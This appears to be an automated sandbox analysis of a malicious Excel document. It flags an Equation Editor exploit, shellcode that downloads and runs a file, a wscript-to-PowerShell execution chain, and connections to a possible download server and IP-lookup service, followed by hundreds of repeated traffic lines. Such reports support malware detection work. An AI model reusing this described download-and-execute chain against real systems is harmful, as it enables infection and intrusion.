Source:	Binary string: dnlib.dotnet.pdb.managed source: powershell.exe, 00000008.00000002.520018273.0000000000872000.00000004.00000800.00020000.00000000.sdmp

Software Vulnerabilities

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Shellcode detected

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035603F0 LoadLibraryW,	2_2_035603F0
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_0356047F URLDownloadToFileW,ShellExecuteW,ExitProcess,	2_2_0356047F
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035604AD ShellExecuteW,ExitProcess,	2_2_035604AD
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_035604D2 ExitProcess,	2_2_035604D2
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03560498 ShellExecuteW,ExitProcess,	2_2_03560498
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Code function: 2_2_03560329 ExitProcess,	2_2_03560329

Suspicious execution chain found

Source: C:\Windows\SysWOW64\wscript.exe

Child: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Source: global traffic	DNS query: name: drive.google.com
Source: global traffic	DNS query: name: drive.usercontent.google.com
Source: global traffic	DNS query: name: ip-api.com

Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49165 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49168 -> 107.172.31.13:80
Source: global traffic	TCP traffic: 192.168.2.22:49169 -> 208.95.112.1:80
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49166 -> 216.58.212.174:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
Source: global traffic	TCP traffic: 192.168.2.22:49167 -> 142.250.186.97:443
